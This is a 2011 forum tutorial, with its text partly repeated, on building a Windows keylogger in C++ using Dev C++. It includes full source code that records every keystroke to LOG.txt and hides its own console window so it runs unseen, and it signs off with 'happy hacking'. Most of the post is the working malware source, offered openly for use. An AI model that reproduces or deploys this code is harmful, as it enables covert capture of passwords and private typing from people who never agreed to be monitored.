How to make a keylogger using C++ 05-31-2011, 07:30 AM
#1
Hello ever1. In this post i will tell u how 2 create a keylogger using C++.
Requirements:
1)Dev C++
2)Knowledge about visual C++(if u r going to develop the code)
Well let's get started. Download Dev C++ from www.bloodshed.net and install it in ur computer.
Then open the Dev C++ compiler and go to file>new>source file
U will see a blank word space Overthere paste this code:
Then complie the code (ctrl+F9)
Now execute the program by selecting Execute->Run(ctrl+F10)
Now the keylogger will run in ur system. Whatever u type will be stored in the log.txt file.
I hope this tutorial wax usefull 4 my readers. Enjoy and happy hacking.:epic:
Requirements:
1)Dev C++
2)Knowledge about visual C++(if u r going to develop the code)
Well let's get started. Download Dev C++ from www.bloodshed.net and install it in ur computer.
Then open the Dev C++ compiler and go to file>new>source file
U will see a blank word space Overthere paste this code:
Code:
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}Then complie the code (ctrl+F9)
Now execute the program by selecting Execute->Run(ctrl+F10)
Now the keylogger will run in ur system. Whatever u type will be stored in the log.txt file.
I hope this tutorial wax usefull 4 my readers. Enjoy and happy hacking.:epic:

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